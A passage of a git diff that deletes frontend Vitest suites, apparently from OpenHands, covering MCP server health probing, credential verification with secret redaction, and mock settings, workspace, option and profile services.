"vitest"; -import { - __resetMcpHealthStoreForTests, - getMcpHealthSnapshot, - setMcpServerHealth, -} from "#/api/mcp-health/mcp-health-store"; -import { - interpretMcpTestResponse, - probeMcpServerHealth, - seedMcpServerHealth, -} from "#/api/mcp-health/probe-mcp-server-health"; -import McpService from "#/api/mcp-service/mcp-service.api"; -import type { ExtendedMCPTestResponse, MCPServerConfig } from "#/types/mcp-server"; -import { getMcpServerHealthKey } from "#/utils/mcp-server-health-key"; - -/** Matches the catalog `github` entry, so the `get_me` probe spec applies. */ -const GITHUB: MCPServerConfig = { - id: "shttp-0", - type: "shttp", - name: "github", - url: "https://api.githubcopilot.com/mcp/", - auth: { strategy: "api_key", value: "github_pat_x" }, -}; - -/** Matches no catalog entry, so no probe spec exists. */ -const CUSTOM: MCPServerConfig = { - id: "shttp-1", - type: "shttp", - name: "custom", - url: "https://mcp.example.com/mcp", -}; - -describe("interpretMcpTestResponse", () => { - it("passes a non-auth connection failure through with its kind", () => { - const health = interpretMcpTestResponse(CUSTOM, { - ok: false, - error: "connection refused", - error_kind: "connection", - }); - - expect(health).toMatchObject({ - status: "failed", - kind: "connection", - error: "connection refused", - }); - }); - - it("reclassifies a connection failure with auth-rejection text as a credentials failure", () => { - // Hosted servers reject bad tokens at the HTTP handshake, which the - // backend can only report as a connection failure. - const health = interpretMcpTestResponse(GITHUB, { - ok: false, - error: "Client error '401 Unauthorized' for url …", - error_kind: "connection", - }); - - expect(health).toMatchObject({ status: "failed", kind: "credentials" }); - }); - - it("reports verified health when the read-only probe tool ran cleanly", () => { - const health = interpretMcpTestResponse(GITHUB, { - ok: true, - tools: ["get_me", "search_code"], - tool_result: { is_error: false, text: '{"login":"octocat"}' }, - }); - - expect(health).toMatchObject({ - status: "healthy", - verification: "verified", - toolCount: 2, - }); - }); - - it("downgrades to connectivity-only when the probe tool is not advertised", () => { - const health = interpretMcpTestResponse(GITHUB, { - ok: true, - tools: ["search_code"], - tool_result: { - is_error: true, - text: "Tool 'get_me' not advertised by server", - }, - }); - - expect(health).toMatchObject({ - status: "healthy", - verification: "connectivity-only", - }); - }); - - it("reports connectivity-only for servers without a probe spec", () => { - const health = interpretMcpTestResponse(CUSTOM, { - ok: true, - tools: ["a"], - }); - - expect(health).toMatchObject({ - status: "healthy", - verification: "connectivity-only", - toolCount: 1, - }); - }); -}); - -describe("probeMcpServerHealth", () => { - beforeEach(() => { - __resetMcpHealthStoreForTests(); - vi.restoreAllMocks(); - }); - - it("publishes checking while the probe runs, then the interpreted result", async () => { - let resolveProbe!: (value: ExtendedMCPTestResponse) => void; - vi.spyOn(McpService, "testServer").mockReturnValue( - new Promise((resolve) => { - resolveProbe = resolve; - }), - ); - const key = getMcpServerHealthKey(CUSTOM); - - const probe = probeMcpServerHealth(CUSTOM); - expect(getMcpHealthSnapshot()[key]).toMatchObject({ status: "checking" }); - - resolveProbe({ ok: true, tools: ["a", "b"] }); - await probe; - - expect(getMcpHealthSnapshot()[key]).toMatchObject({ - status: "healthy", - verification: "connectivity-only", - toolCount: 2, - }); - }); - - it("converts a thrown transport error into a failed verdict", async () => { - vi.spyOn(McpService, "testServer").mockRejectedValue( - new Error("network down"), - ); - - await probeMcpServerHealth(CUSTOM); - - expect(getMcpHealthSnapshot()[getMcpServerHealthKey(CUSTOM)]).toMatchObject( - { status: "failed", kind: "unknown", error: "network down" }, - ); - }); -}); - -describe("seedMcpServerHealth", () => { - beforeEach(() => { - __resetMcpHealthStoreForTests(); - }); - - it("publishes the saved server's health from its pre-save test result", () => { - seedMcpServerHealth(CUSTOM, { ok: true, tools: ["a"] }, []); - - expect(getMcpHealthSnapshot()[getMcpServerHealthKey(CUSTOM)]).toMatchObject( - { status: "healthy" }, - ); - }); - - it("skips seeding when another installed server shares the health key", () => { - // A second install of the same catalog entry collides on the key until - // the save suffixes its name; it must not overwrite the first card. - const existingVerdict = { - status: "failed", - kind: "credentials", - error: "bad token", - checkedAt: 1, - } as const; - setMcpServerHealth(getMcpServerHealthKey(GITHUB), existingVerdict); - - seedMcpServerHealth( - { ...GITHUB, id: "shttp-9" }, - { ok: true, tools: ["get_me"] }, - [GITHUB], - ); - - expect(getMcpHealthSnapshot()[getMcpServerHealthKey(GITHUB)]).toEqual( - existingVerdict, - ); - }); -}); diff --git a/__tests__/api/mcp-service/mcp-service.api.test.ts b/__tests__/api/mcp-service/mcp-service.api.test.ts deleted file mode 100644 index 421789c96..000000000 --- a/__tests__/api/mcp-service/mcp-service.api.test.ts +++ /dev/null @@ -1,395 +0,0 @@ -import { describe, it, expect, vi, beforeEach } from "vitest"; -import McpService from "#/api/mcp-service/mcp-service.api"; -import SettingsService, { - type SettingsApiResponse, -} from "#/api/settings-service/settings-service.api"; -import * as activeStore from "#/api/backend-registry/active-store"; -import type { MCPServerConfig } from "#/types/mcp-server"; -import { REDACTED_MCP_SECRET_VALUE } from "#/utils/mcp-config"; - -// vi.mock factories are hoisted before imports, so spy functions must be -// created with vi.hoisted() to be in scope inside the factory. -const { mockTestServer } = vi.hoisted(() => ({ - mockTestServer: vi.fn(), -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - // Real class so `new MCPClient(...)` works; testServer delegates to the - // shared spy so each test can configure the return value independently. - MCPClient: class { - // eslint-disable-next-line class-methods-use-this - testServer = mockTestServer; - - // eslint-disable-next-line class-methods-use-this - close = vi.fn(); - }, -})); - -vi.mock("#/api/agent-server-client-options", () => ({ - getAgentServerClientOptions: () => ({ - host: "http://localhost:3000", - apiKey: "test-key", - }), -})); - -vi.mock("#/api/backend-registry/active-store", () => ({ - getActiveBackend: vi.fn(), -})); - -const mockGetActiveBackend = vi.mocked(activeStore.getActiveBackend); - -const localActive = () => - mockGetActiveBackend.mockReturnValue({ - backend: { - id: "local-1", - name: "Local", - host: "http://localhost:3000", - apiKey: "test-key", - kind: "local", - }, - orgId: null, - }); - -const cloudActive = () => - mockGetActiveBackend.mockReturnValue({ - backend: { - id: "cloud-1", - name: "Cloud", - host: "https://app.all-hands.dev", - apiKey: "cloud-key", - kind: "cloud", - }, - orgId: null, - }); - -const SERVER: MCPServerConfig = { - id: "shttp-1", - type: "shttp", - url: "https://mcp.example.com/mcp", -}; - -describe("McpService.testServer", () => { - beforeEach(() => { - vi.clearAllMocks(); - localActive(); - }); - - it("passes success responses through unchanged", async () => { - mockTestServer.mockResolvedValue({ ok: true, tools: ["search", "fetch"] }); - - const result = await McpService.testServer(SERVER); - - expect(result).toEqual({ ok: true, tools: ["search", "fetch"] }); - }); - - it("passes failure responses through unchanged (no server-side escaping)", async () => { - // The backend returns plain text; HTML-escaping of {{-error}} is handled - // by the i18next no-escape prefix in the translation string, not here. - mockTestServer.mockResolvedValue({ - ok: false, - error: - "Client error '401 Unauthorized' for url https://mcp.example.com/mcp", - error_kind: "unknown", - }); - - const result = await McpService.testServer(SERVER); - - expect(result).toEqual({ - ok: false, - error: - "Client error '401 Unauthorized' for url https://mcp.example.com/mcp", - error_kind: "unknown", - }); - }); - - it("maps a stdio config to a StdioMCPServerSpec", async () => { - mockTestServer.mockResolvedValue({ ok: true, tools: [] }); - const stdio: MCPServerConfig = { - id: "stdio-1", - type: "stdio", - name: "my-server", - command: "npx", - args: ["-y", "@my/mcp-server"], - env: { API_KEY: "secret" }, - }; - - await McpService.testServer(stdio); - - // Exact match also guards that non-catalog servers get no `tool_call`. - expect(mockTestServer).toHaveBeenCalledWith({ - server: { - transport: "stdio", - command: "npx", - args: ["-y", "@my/mcp-server"], - env: { API_KEY: "secret" }, - }, - name: "my-server", - }); - }); - - // ------------------------------------------------------------------------- - // Credential verification for marketplace servers (Slack) - // - // The Slack MCP server lists its tools with any credentials and reports - // upstream auth failures as ordinary text content, so the service attaches - // a read-only verification tool call and interprets its payload. - // ------------------------------------------------------------------------- - - const SLACK_SERVER: MCPServerConfig = { - id: "stdio-0", - type: "stdio", - name: "slack", - command: "npx", - args: ["-y", "@zencoderai/slack-mcp-server"], - env: { SLACK_TEAM_ID: "T01", SLACK_BOT_TOKEN: "xoxb-abc" }, - }; - - const slackToolResult = (text: string, isError = false) => ({ - ok: true, - tools: ["slack_list_channels"], - tool_result: { is_error: isError, text }, - }); - - it("attaches the read-only Slack verification tool call to the request", async () => { - mockTestServer.mockResolvedValue({ ok: true, tools: [] }); - - await McpService.testServer(SLACK_SERVER); - - expect(mockTestServer).toHaveBeenCalledWith( - expect.objectContaining({ - tool_call: { name: "slack_list_channels", arguments: { limit: 1 } }, - }), - ); - }); - - it("maps an in-band Slack auth error to a credentials failure", async () => { - mockTestServer.mockResolvedValue( - slackToolResult('{"ok":false,"error":"invalid_auth"}'), - ); - - const result = await McpService.testServer(SLACK_SERVER); - - expect(result).toEqual({ - ok: false, - error: "invalid_auth", - error_kind: "credentials", - }); - }); - - it("does not flag non-auth Slack errors (missing_scope) as bad credentials", async () => { - // A valid token lacking a scope authenticated successfully — failing it - // would block correctly-configured installs. - const response = slackToolResult('{"ok":false,"error":"missing_scope"}'); - mockTestServer.mockResolvedValue(response); - - const result = await McpService.testServer(SLACK_SERVER); - - expect(result).toEqual(response); - }); - - it("passes a succeeding Slack payload through unchanged", async () => { - const response = slackToolResult('{"ok":true,"channels":[]}'); - mockTestServer.mockResolvedValue(response); - - const result = await McpService.testServer(SLACK_SERVER); - - expect(result).toEqual(response); - }); - - it("maps an errored verification call to a credentials failure", async () => { - mockTestServer.mockResolvedValue( - slackToolResult("Tool 'slack_list_channels' call timed out", true), - ); - - const result = await McpService.testServer(SLACK_SERVER); - - expect(result).toEqual({ - ok: false, - error: "Tool 'slack_list_channels' call timed out", - error_kind: "credentials", - }); - }); - - it("returns the response unchanged when an older backend omits tool_result", async () => { - mockTestServer.mockResolvedValue({ ok: true, tools: ["a", "b"] }); - - const result = await McpService.testServer(SLACK_SERVER); - - expect(result).toEqual({ ok: true, tools: ["a", "b"] }); - }); - - it("skips credential interpretation when the probe tool is not advertised", async () => { - // A server variant that doesn't expose the probe tool (e.g. Slack's - // hosted MCP) returns a deterministic "not advertised" tool error; that - // proves nothing about credentials and must not block the install. - const response = { - ok: true, - tools: ["conversations_history"], - tool_result: { - is_error: true, - text: "Tool 'slack_list_channels' not advertised by server", - }, - }; - mockTestServer.mockResolvedValue(response); - - const result = await McpService.testServer(SLACK_SERVER); - - expect(result).toEqual(response); - }); - - // ------------------------------------------------------------------------- - // Read-only credential probes for the hosted GitHub and Linear servers - // ------------------------------------------------------------------------- - - const GITHUB_SERVER: MCPServerConfig = { - id: "shttp-0", - type: "shttp", - name: "github", - url: "https://api.githubcopilot.com/mcp/", - auth: { strategy: "api_key", value: "github_pat_LIVETOKENVALUE" }, - }; - - const LINEAR_SERVER: MCPServerConfig = { - id: "shttp-1", - type: "shttp", - name: "linear", - url: "https://mcp.linear.app/mcp", - auth: { strategy: "bearer", value: "lin_api_LIVETOKEN" }, - }; - - it("attaches the read-only GitHub probe (get_me) to matching servers", async () => { - mockTestServer.mockResolvedValue({ ok: true, tools: [] }); - - await McpService.testServer(GITHUB_SERVER); - - expect(mockTestServer).toHaveBeenCalledWith( - expect.objectContaining({ - tool_call: { name: "get_me", arguments: {} }, - }), - ); - }); - - it("attaches the read-only Linear probe (list_teams) to matching servers", async () => { - mockTestServer.mockResolvedValue({ ok: true, tools: [] }); - - await McpService.testServer(LINEAR_SERVER); - - expect(mockTestServer).toHaveBeenCalledWith( - expect.objectContaining({ - tool_call: { name: "list_teams", arguments: {} }, - }), - ); - }); - - it("maps an errored GitHub probe call to a redacted credentials failure", async () => { - mockTestServer.mockResolvedValue({ - ok: true, - tools: ["get_me"], - tool_result: { - is_error: true, - text: "401 for token github_pat_LIVETOKENVALUE", - }, - }); - - const result = await McpService.testServer(GITHUB_SERVER); - - // Interpretation runs on already-redacted text, so the surfaced - // credentials error never contains the configured secret. - expect(result).toEqual({ - ok: false, - error: `401 for token ${REDACTED_MCP_SECRET_VALUE}`, - error_kind: "credentials", - }); - }); - - it("redacts configured secrets from failure error text", async () => { - mockTestServer.mockResolvedValue({ - ok: false, - error: "handshake rejected Bearer github_pat_LIVETOKENVALUE", - error_kind: "connection", - }); - - const result = await McpService.testServer(GITHUB_SERVER); - - expect(result).toMatchObject({ ok: false, error_kind: "connection" }); - expect(JSON.stringify(result)).not.toContain("github_pat_LIVETOKENVALUE"); - }); - - // ------------------------------------------------------------------------- - // Redacted-secret round-trip for the edit flow - // - // The MCP page reads settings with redacted secrets, so unchanged env - // values arrive as the literal redaction placeholder. The service swaps - // them for the stored values in encrypted form (decrypted server-side) so - // the test exercises the real credentials. - // ------------------------------------------------------------------------- - - const REDACTED_SLACK_SERVER: MCPServerConfig = { - ...SLACK_SERVER, - env: { SLACK_TEAM_ID: "T01", SLACK_BOT_TOKEN: REDACTED_MCP_SECRET_VALUE }, - }; - - it("substitutes redacted env values with encrypted stored values", async () => { - mockTestServer.mockResolvedValue({ ok: true, tools: [] }); - vi.spyOn(SettingsService, "fetchSettingsFromApi").mockResolvedValue({ - agent_settings: { - mcp_config: { - slack: { env: { SLACK_BOT_TOKEN: "gAAAAA-encrypted-token" } }, - }, - }, - } as unknown as SettingsApiResponse); - - await McpService.testServer(REDACTED_SLACK_SERVER); - - expect(SettingsService.fetchSettingsFromApi).toHaveBeenCalledWith( - "encrypted", - ); - expect(mockTestServer).toHaveBeenCalledWith( - expect.objectContaining({ - server: expect.objectContaining({ - // Placeholder replaced by ciphertext; typed value left untouched. - env: { - SLACK_TEAM_ID: "T01", - SLACK_BOT_TOKEN: "gAAAAA-encrypted-token", - }, - }), - }), - ); - }); - - it("keeps the placeholder when encrypted settings cannot be fetched", async () => { - // e.g. HTTP 503 from a backend without a cipher — the test must still - // run (and fail the credential check honestly) instead of crashing. - mockTestServer.mockResolvedValue({ ok: true, tools: [] }); - vi.spyOn(SettingsService, "fetchSettingsFromApi").mockRejectedValue( - new Error("503 no cipher"), - ); - - await McpService.testServer(REDACTED_SLACK_SERVER); - - expect(mockTestServer).toHaveBeenCalledWith( - expect.objectContaining({ - server: expect.objectContaining({ - env: { - SLACK_TEAM_ID: "T01", - SLACK_BOT_TOKEN: REDACTED_MCP_SECRET_VALUE, - }, - }), - }), - ); - }); - - it("short-circuits with a synthetic ok response on cloud backends", async () => { - // Regression: when the active backend is cloud, the local agent-server's - // /api/mcp/test endpoint is not reachable. Previously, the helper threw - // `NoBackendAvailableError("No backend is configured.")` which surfaced - // in the install modal and blocked users from creating any MCP server - // (e.g. Slack) on a cloud session. - cloudActive(); - - const result = await McpService.testServer(SERVER); - - expect(result).toEqual({ ok: true, tools: [] }); - expect(mockTestServer).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/api/mock-conversation-handlers.test.ts b/__tests__/api/mock-conversation-handlers.test.ts deleted file mode 100644 index 61ddf86ff..000000000 --- a/__tests__/api/mock-conversation-handlers.test.ts +++ /dev/null @@ -1,69 +0,0 @@ -import { describe, expect, it } from "vitest"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import AgentServerGitService from "#/api/git-service/agent-server-git-service.api"; -import EventService from "#/api/event-service/event-service.api"; -import { TABLE_DEMO_CONVERSATION_ID } from "#/fixtures/table-demo-conversation"; - -describe("mock conversation handlers", () => { - it("returns adapted conversations for batch lookups", async () => { - const [conversation] = await AgentServerConversationService.batchGetAppConversations([ - "1", - ]); - - expect(conversation?.id).toBe("1"); - expect(conversation?.title).toBe("My New Project"); - expect(conversation?.conversation_url).toContain("/api/conversations/1"); - expect(conversation?.workspace?.working_dir).toBe("workspace/project"); - }); - - it("returns adapted conversation pages for search", async () => { - const page = await AgentServerConversationService.searchConversations(10); - - expect(page.items.length).toBeGreaterThan(0); - expect(page.next_page_id).toBeNull(); - expect(page.items[0]?.title).toBeTruthy(); - }); - - it("returns pre-seeded git changes for mock conversations", async () => { - // MOCK_GIT_CHANGES is pre-seeded in git-repository-handlers.ts with three - // representative entries (UPDATED→M, ADDED→A, DELETED→D) so mock mode - // exercises the full diff-viewer UI without per-test manipulation. - const changes = await AgentServerGitService.getGitChanges( - "1", - "http://localhost:3000/api/conversations/1", - null, - "workspace/project", - ); - - expect(changes).toHaveLength(3); - expect(changes.map((c) => c.status)).toEqual(["M", "A", "D"]); - expect(changes.map((c) => c.path)).toEqual([ - "src/components/hello.tsx", - "src/utils/new-helper.ts", - "src/old-module.py", - ]); - }); - - it("returns the table demo conversation via MSW batch lookup", async () => { - const [conversation] = - await AgentServerConversationService.batchGetAppConversations([ - TABLE_DEMO_CONVERSATION_ID, - ]); - - expect(conversation?.id).toBe(TABLE_DEMO_CONVERSATION_ID); - expect(conversation?.title).toBe("Wide table demo"); - }); - - it("returns table demo events sorted for conversation history", async () => { - const page = await EventService.searchEvents( - TABLE_DEMO_CONVERSATION_ID, - null, - null, - { limit: 50, sortOrder: "TIMESTAMP_DESC" }, - ); - - expect(page.items).toHaveLength(2); - expect(page.items[0]?.source).toBe("agent"); - expect(page.items[1]?.source).toBe("user"); - }); -}); diff --git a/__tests__/api/mock-file-handlers.test.ts b/__tests__/api/mock-file-handlers.test.ts deleted file mode 100644 index 32afd5f54..000000000 --- a/__tests__/api/mock-file-handlers.test.ts +++ /dev/null @@ -1,35 +0,0 @@ -import { describe, expect, it } from "vitest"; - -describe("mock file handlers", () => { - it("returns home directory metadata on the direct agent-server path", async () => { - const response = await fetch("http://localhost:3000/api/file/home"); - const body = (await response.json()) as { - home: string; - favorites: { label: string; path: string }[]; - }; - - expect(response.status).toBe(200); - expect(body.home).toBe("/home/openhands"); - expect(body.favorites).toEqual([ - { label: "Downloads", path: "/home/openhands/Downloads" }, - ]); - }); - - it("returns subdirectories on the direct agent-server path", async () => { - const response = await fetch( - "http://localhost:3000/api/file/search_subdirs?path=%2Fprojects", - ); - const body = (await response.json()) as { - path: string; - items: { name: string; path: string }[]; - subdirs: { name: string; path: string }[]; - next_page_id: string | null; - }; - - expect(response.status).toBe(200); - // In test mode shouldReturnProjectMock is false, so items is empty - expect(body.items).toEqual([]); - expect(body.subdirs).toEqual([]); - expect(body.next_page_id).toBeNull(); - }); -}); diff --git a/__tests__/api/mock-settings-handlers.test.ts b/__tests__/api/mock-settings-handlers.test.ts deleted file mode 100644 index 9305fae7d..000000000 --- a/__tests__/api/mock-settings-handlers.test.ts +++ /dev/null @@ -1,103 +0,0 @@ -import { beforeEach, describe, expect, it } from "vitest"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { resetTestHandlersMockSettings } from "#/mocks/settings-handlers"; - -beforeEach(() => { - resetTestHandlersMockSettings(); -}); - -describe("mock settings handlers", () => { - it("returns the agent settings schema on the paths used by the UI", async () => { - const schema = await SettingsService.getSettingsSchema(); - - expect(schema.sections.some((section) => section.key === "llm")).toBe(true); - }); - - it("returns the conversation settings schema on the paths used by the UI", async () => { - const schema = await SettingsService.getConversationSettingsSchema(); - - expect( - schema.sections.some((section) => section.key === "verification"), - ).toBe(true); - }); - - it("supports the profile endpoints used by local LLM settings", async () => { - const saveResponse = await fetch( - "http://localhost:3000/api/profiles/mock-profile", - { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ - llm: { - model: "openai/gpt-4o", - base_url: "https://api.openai.com/v1", - api_key: "sk-test", - }, - include_secrets: true, - }), - }, - ); - - expect(saveResponse.status).toBe(201); - - const listResponse = await fetch("http://localhost:3000/api/profiles"); - const list = (await listResponse.json()) as { - profiles: { name: string; model: string; api_key_set: boolean }[]; - active_profile: string | null; - }; - - expect(list.profiles).toEqual([ - expect.objectContaining({ - name: "mock-profile", - model: "openai/gpt-4o", - api_key_set: true, - }), - ]); - expect(list.active_profile).toBeNull(); - - const detailResponse = await fetch( - "http://localhost:3000/api/profiles/mock-profile", - { headers: { "X-Expose-Secrets": "encrypted" } }, - ); - const detail = (await detailResponse.json()) as { - config: { api_key?: string }; - }; - expect(detail.config.api_key).toMatch(/^gAAAAA_mock_encrypted_/); - - const activateResponse = await fetch( - "http://localhost:3000/api/profiles/mock-profile/activate", - { method: "POST" }, - ); - expect(activateResponse.status).toBe(200); - - const settingsResponse = await fetch("http://localhost:3000/api/settings"); - const settings = (await settingsResponse.json()) as { - agent_settings: { llm?: { model?: string } }; - llm_api_key_is_set: boolean; - }; - expect(settings.agent_settings.llm?.model).toBe("openai/gpt-4o"); - expect(settings.llm_api_key_is_set).toBe(true); - - const renameResponse = await fetch( - "http://localhost:3000/api/profiles/mock-profile/rename", - { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ new_name: "renamed-profile" }), - }, - ); - expect(renameResponse.status).toBe(200); - - const deleteResponse = await fetch( - "http://localhost:3000/api/profiles/renamed-profile", - { method: "DELETE" }, - ); - expect(deleteResponse.status).toBe(200); - - const finalList = (await ( - await fetch("http://localhost:3000/api/profiles") - ).json()) as { profiles: unknown[]; active_profile: string | null }; - expect(finalList.profiles).toEqual([]); - expect(finalList.active_profile).toBeNull(); - }); -}); diff --git a/__tests__/api/mock-workspaces-handlers.test.ts b/__tests__/api/mock-workspaces-handlers.test.ts deleted file mode 100644 index e81b65af1..000000000 --- a/__tests__/api/mock-workspaces-handlers.test.ts +++ /dev/null @@ -1,69 +0,0 @@ -import { afterEach, describe, expect, it } from "vitest"; - -import WorkspacesService from "#/api/workspaces-service/workspaces-service.api"; -import { resetMockWorkspaces } from "#/mocks/handlers"; - -describe("mock workspaces handlers", () => { - afterEach(() => { - resetMockWorkspaces(); - }); - - it("starts with an empty workspaces list", async () => { - const response = await WorkspacesService.listWorkspaces(); - expect(response.workspaces).toEqual([]); - expect(response.workspaceParents).toEqual([]); - }); - - it("persists added workspaces across list calls", async () => { - await WorkspacesService.addWorkspaces([ - { id: "w1", name: "Project", path: "/workspace/project" }, - ]); - - const response = await WorkspacesService.listWorkspaces(); - expect(response.workspaces).toEqual([ - { id: "w1", name: "Project", path: "/workspace/project" }, - ]); - }); - - it("upserts a workspace when path already exists", async () => { - await WorkspacesService.addWorkspaces([ - { id: "w1", name: "Old", path: "/workspace/project" }, - ]); - await WorkspacesService.addWorkspaces([ - { id: "w2", name: "New", path: "/workspace/project" }, - ]); - const response = await WorkspacesService.listWorkspaces(); - expect(response.workspaces).toHaveLength(1); - expect(response.workspaces[0].name).toBe("New"); - }); - - it("removes a workspace by path", async () => { - await WorkspacesService.addWorkspaces([ - { id: "w1", name: "Project", path: "/workspace/project" }, - { id: "w2", name: "Other", path: "/workspace/other" }, - ]); - - await WorkspacesService.removeWorkspace("/workspace/project"); - - const response = await WorkspacesService.listWorkspaces(); - expect(response.workspaces.map((w) => w.path)).toEqual([ - "/workspace/other", - ]); - }); - - it("persists workspace parents and removes them by path", async () => { - await WorkspacesService.addWorkspaceParents([ - { id: "p1", name: "Repos", path: "/workspace/repos" }, - ]); - - const afterAdd = await WorkspacesService.listWorkspaces(); - expect(afterAdd.workspaceParents).toEqual([ - { id: "p1", name: "Repos", path: "/workspace/repos" }, - ]); - - await WorkspacesService.removeWorkspaceParent("/workspace/repos"); - - const afterRemove = await WorkspacesService.listWorkspaces(); - expect(afterRemove.workspaceParents).toEqual([]); - }); -}); diff --git a/__tests__/api/option-service.test.ts b/__tests__/api/option-service.test.ts deleted file mode 100644 index b45d2a6a2..000000000 --- a/__tests__/api/option-service.test.ts +++ /dev/null @@ -1,131 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { http, HttpResponse } from "msw"; -import { - AgentServerUnavailableError, - AgentServerUnknownVersionError, - AgentServerUnsupportedVersionError, - clearCachedAgentServerInfo, - isAgentServerToolAvailable, - MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION, -} from "#/api/agent-server-compatibility"; -import OptionService from "#/api/option-service/option-service.api"; -import { server } from "#/mocks/node"; - -describe("OptionService", () => { - beforeEach(() => { - clearCachedAgentServerInfo(); - }); - - it("returns config in mock mode without a live backend", async () => { - const config = await OptionService.getConfig(); - - expect(config.feature_flags.hide_llm_settings).toBe(false); - expect(config.feature_flags.hide_users_page).toBe(true); - expect(config.updated_at).toBeTruthy(); - }); - - it("loads config when the agent server is compatible", async () => { - server.use( - http.get("*/server_info", () => - HttpResponse.json({ - uptime: 0, - idle_time: 0, - version: MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION, - }), - ), - ); - - await expect(OptionService.getConfig()).resolves.toMatchObject({ - feature_flags: expect.objectContaining({ hide_llm_settings: false }), - }); - }); - - it("throws when the agent server is too old", async () => { - server.use( - http.get("*/server_info", () => - HttpResponse.json({ uptime: 0, idle_time: 0, version: "1.27.1" }), - ), - ); - - await expect(OptionService.getConfig()).rejects.toMatchObject({ - name: AgentServerUnsupportedVersionError.name, - actualVersion: "1.27.1", - requiredVersion: MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION, - }); - }); - - it("throws when the server does not advertise a version", async () => { - server.use( - http.get("*/server_info", () => - HttpResponse.json({ uptime: 0, idle_time: 0 }), - ), - ); - - await expect(OptionService.getConfig()).rejects.toMatchObject({ - name: AgentServerUnknownVersionError.name, - actualVersion: null, - }); - }); - - it("throws an unavailable error when the agent server cannot be reached", async () => { - server.use(http.get("*/server_info", () => HttpResponse.error())); - - await expect(OptionService.getConfig()).rejects.toMatchObject({ - name: AgentServerUnavailableError.name, - message: expect.stringContaining( - "Could not connect to the configured agent server", - ), - details: expect.stringContaining("Request failed"), - }); - }); - - it("caches usable_tools from server_info for later tool gating", async () => { - server.use( - http.get("*/server_info", () => - HttpResponse.json({ - uptime: 0, - idle_time: 0, - version: MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION, - usable_tools: ["terminal", "file_editor", "task_tracker"], - }), - ), - ); - - await OptionService.getConfig(); - - expect(isAgentServerToolAvailable("browser_tool_set")).toBe(false); - expect(isAgentServerToolAvailable("terminal")).toBe(true); - }); - - it("allows all tools when the server does not advertise tool metadata", async () => { - server.use( - http.get("*/server_info", () => - HttpResponse.json({ - uptime: 0, - idle_time: 0, - version: MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION, - }), - ), - ); - - await OptionService.getConfig(); - - expect(isAgentServerToolAvailable("browser_tool_set")).toBe(true); - expect(isAgentServerToolAvailable("terminal")).toBe(true); - }); - - it("returns models from mocked LLM endpoints", async () => { - const models = await OptionService.getModels(); - - expect(models.models).toContain("openhands/claude-opus-4-5-20251101"); - expect(models.models).toContain("openai/gpt-5.5"); - expect(models.verified_models).toContain("claude-opus-4-5-20251101"); - expect(models.verified_models).toContain("gpt-5.5"); - expect(models.verified_providers).toEqual([ - "anthropic", - "openai", - "openhands", - ]); - expect(models.default_model).toBeTruthy(); - }); -}); diff --git a/__tests__/api/profiles-service.test.ts b/__tests__/api/profiles-service.test.ts deleted file mode 100644 index bb7033a24..000000000 --- a/__tests__/api/profiles-service.test.ts +++ /dev/null @@ -1,231 +0,0 @@ -/** - * ProfilesService tests using SDK client mocks. - * - * Note: We mock ProfilesClient directly because the SDK's HttpClient uses - * native fetch that MSW doesn't intercept reliably in Node.js test environments. - * This approach tests that ProfilesService correctly delegates to ProfilesClient - * methods and propagates errors from the SDK. - * - * For full integration testing, use browser-level tests with MSW. - */ -import { ProfilesClient } from "@openhands/typescript-client/clients"; -import { afterEach, describe, expect, it, vi, beforeEach } from "vitest"; -import ProfilesService from "#/api/profiles-service/profiles-service.api"; - -// Mock the ProfilesClient from the SDK using vi.hoisted -const { - mockListProfiles, - mockGetProfile, - mockSaveProfile, - mockDeleteProfile, - mockRenameProfile, - mockActivateProfile, -} = vi.hoisted(() => ({ - mockListProfiles: vi.fn(), - mockGetProfile: vi.fn(), - mockSaveProfile: vi.fn(), - mockDeleteProfile: vi.fn(), - mockRenameProfile: vi.fn(), - mockActivateProfile: vi.fn(), -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - ProfilesClient: vi.fn(function ProfilesClientMock() { - return { - listProfiles: mockListProfiles, - getProfile: mockGetProfile, - saveProfile: mockSaveProfile, - deleteProfile: mockDeleteProfile, - renameProfile: mockRenameProfile, - activateProfile: mockActivateProfile, - }; - }), -})); - -vi.mock("#/api/agent-server-client-options", () => ({ - getAgentServerClientOptions: vi.fn(() => ({ - host: "http://localhost:3000", - apiKey: "test-key", - })), -})); - -describe("ProfilesService", () => { - beforeEach(() => { - mockListProfiles.mockReset(); - mockGetProfile.mockReset(); - mockSaveProfile.mockReset(); - mockDeleteProfile.mockReset(); - mockRenameProfile.mockReset(); - mockActivateProfile.mockReset(); - vi.mocked(ProfilesClient).mockClear(); - }); - - afterEach(() => { - vi.clearAllMocks(); - }); - - describe("listProfiles", () => { - it("calls listProfiles and returns profiles list", async () => { - const mockResponse = { - profiles: [ - { - name: "gpt-4-profile", - model: "openai/gpt-4", - base_url: null, - api_key_set: true, - }, - { - name: "claude-profile", - model: "anthropic/claude-3", - base_url: "https://api.anthropic.com", - api_key_set: false, - }, - ], - active_profile: null, - }; - - mockListProfiles.mockResolvedValue(mockResponse); - - const result = await ProfilesService.listProfiles(); - - expect(mockListProfiles).toHaveBeenCalled(); - expect(result).toEqual(mockResponse); - expect(result.profiles).toHaveLength(2); - }); - - it("returns empty profiles array when no profiles exist", async () => { - const mockResponse = { profiles: [], active_profile: null }; - mockListProfiles.mockResolvedValue(mockResponse); - - const result = await ProfilesService.listProfiles(); - - expect(result.profiles).toEqual([]); - }); - - it("propagates errors from the SDK", async () => { - mockListProfiles.mockRejectedValue(new Error("Network error")); - - await expect(ProfilesService.listProfiles()).rejects.toThrow( - "Network error", - ); - }); - }); - - describe("getProfile", () => { - it("calls getProfile with profile name", async () => { - const mockResponse = { - name: "my-profile", - config: { model: "openai/gpt-4" }, - api_key_set: true, - }; - - mockGetProfile.mockResolvedValue(mockResponse); - - const result = await ProfilesService.getProfile("my-profile"); - - 